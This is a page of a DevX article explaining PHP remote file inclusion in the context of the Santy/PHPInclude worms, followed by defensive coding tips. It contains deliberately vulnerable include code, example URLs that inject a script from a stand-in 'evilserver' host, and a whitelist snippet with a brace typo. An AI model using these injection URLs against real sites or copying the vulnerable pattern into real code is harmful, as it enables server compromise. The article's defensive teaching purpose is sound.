Login | Register   
LinkedIn
Google+
Twitter
RSS Feed
Download our iPhone app
TODAY'S HEADLINES  |   ARTICLE ARCHIVE  |   FORUMS  |   TIP BANK
Browse DevX
Sign up for e-mail newsletters from DevX


advertisement
 

Protect Yourself from PHP Worms : Page 3

Don't just change your code to protect yourself from attacks such as the Santy or PHPInclude worms—change your tactics.


advertisement
How Does an Evil Script Execute?
From what you've seen so far, it's probably hard to see how anyone could get an evil script to execute, but it turns out that if you use a common programming trick, you're wide open to attack. That programming trick is "parameterized" or "variable" includes. The include keyword might make you think of the #include directive within C or C++, which is a compiler directive that always appears at the top of the program, but the PHP include command isn't like that at all. It's actually very flexible, and can be used in conjunction with variables.

For example, you can write perfectly valid code such as:

$test='inc.php'; include($test);

People use such code to include or exclude scripts depending on other program conditions. Now, if your program has many scripts that can be included, but you only want to include one at a time, you might use an HTTP GET parameter to specify which script you want to use. For example, if you have 10 scripts named inc1.php through inc10.php, all of which contain an addOne function, but do different things, you could write something like:

http://servername/page.php?num=1&inc=inc1.php

Then, in your page code you would have something like the following code.



<?php $inc=$_GET['inc']; include($inc); $in=$_GET['num']; $out=addOne($in); echo("The result is " . $out); ?>

The preceding code sets the value of the $inc variable to the value of the GET parameter, causing the script to include (and execute) the inc1.php file. Because PHP will load scripts from an external URL, someone could very easily inject an evil script to run on the server simply by typing the following URL into their browser.

http://servername/page.php?num=1&inc= http://evilserver/evilscript.php

How Can I Protect My Code
First, if your Web site uses any applications that are written in PHP, such as phpBB, you need to make sure that you are using a version that is "fixed" to disallow this type of injection. In the case of phpBB, the vulnerable versions are those prior to version 2.0.11. For other applications, check with the developers or vendors of the application.

To protect your own codebase, you should consider the following coding tips.

  • If you don't want to include or require files from an external URL, turn off the URL_fopen_wrappers option.
  • Always give your include files the .php extension. Some programmers like to give them an .inc extension instead, but most Web servers will not execute .inc files, they return the contents instead. Therefore, any malicious users who knew the URL of your include file and typed it into their browser's address bar would get the full source code of the include file. As people commonly store such things as database login passwords in include files, you could have a bit of a problem!
  • Never directly include a parameterized page. Check it against a list of known pages first. For example, you could change the previous code fragment to something safer, such as:

$pages = array('inc1.php','inc2.php','inc3.php'); if( in_array($inc, $pages) ) { include($inc); { else { die("Nice Try."); }

  • Be very careful using the eval() function. Eval evaluates a string as if it were code, and outputs the results to the browser. If you send the value of a parameter passed to a page directly to eval(), a script injection could occur. Don't ever do that! Check parameter values first.
  • Make sure to set the REGISTER_GLOBALS setting in your php.ini file to OFF. When this is set to ON you have a risk of someone passing the value of a variable into your page by naming that variable in the browser's address bar. For example, suppose you have code in your pages such as:

include($incfile);

If you have carelessly forgotten to define $incfile¸ and REGISTER_GLOBALS is set to ON, then someone could call your page like this:

http://yourserver.com/yourpage.php?incfile= http://evilserver.com/evilscript.php

  • Never pass parameters directly from a URL to a SQL query if you are using data. Always sanitize the parameters first, or use the parameters to build a query. For example, don't write code like this:

http://yourserver.com/yourpage.php?query='select * from accounts'

Instead, define the SQL code on the server. You can still control it from the URL by passing a defined parameter, such as:

http://yourserver.com/yourpage.php?query=accounts

When your code receives this URL, you can do something like the following:

if($query=="accounts") $sql="Select * from accounts"; else $sql="Select * from whatever";

Overall, this exploit provides a clear example of how subtle a security hole can be. When a good feature of a language such as PHP is misused, and exposed to further misuse through poor input parameter sanitation, security problems can arise. In this case, the root cause isn't a bug in the language or any problem with the language per se; instead, it's related to the way people use the language. The recent Santy/PHPInclude worms are able to exploit mistakes such as those described in this article to propagate themselves and destroy Web sites. They find vulnerable pages using simple Google (and other search engine) searches and propagate similarly. By cleaning up your pages to use the techniques and background discussed in this article, you can now go forth and be sure that your Web site will not suffer the same fate, and will be protected from this hole. However, you need to be vigilant, to understand your code and anticipate how the features of the platform that you are using could be used differently so you can protect yourself, your Web site, and your data from attacks.



Laurence Moroney is a freelance enterprise architect who specializes in designing and implementing service-oriented applications and environments using .NET, J2EE, or (preferably) both. He has authored books on .NET and Web services security, and more than 30 professional articles. A former Wall Street architect, and security analyst, he also dabbles in journalism, reporting for professional sports. You can find his blog at http://www.philotic.com/blog.
Comment and Contribute

 

 

 

 

 


(Maximum characters: 1200). You have 1200 characters left.

 

 

Sitemap
Thanks for your registration, follow us on our social networks to keep up-to-date